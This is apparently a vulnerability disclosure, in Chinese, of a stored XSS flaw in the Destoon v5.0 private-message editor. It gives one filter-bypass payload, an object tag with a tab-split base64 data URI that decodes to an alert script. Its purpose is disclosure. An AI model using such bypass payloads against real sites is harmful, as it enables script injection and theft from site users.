destoon /v5.0/ 存储型xss 指哪打哪(绕过2)
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
### 简要描述： 就这样 继续绕过去 ### 详细说明： 关联url： [WooYun: destoon /v5.0/ 存储型xss 指哪打哪(绕过1)](http://www.wooyun.org/bugs/wooyun-2014-061094) 注册一个用户 http://127.0.0.1/v5.0/member/message.php?action=send&touser=oboi123&title=RE:RE%3ARE%3Asdaaaaaaa 回复处用了编辑器 编辑器有些标签没过滤，导致xss执行 xsscode: ``` <object data=data:text/html;base	
64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object> ``` [<img src="https://images.seebug.org/upload/201405/23210227830ac219af84878daaaf7a43c701888e.jpg" alt="2222222.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/23210227830ac219af84878daaaf7a43c701888e.jpg) ### 漏洞证明：
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
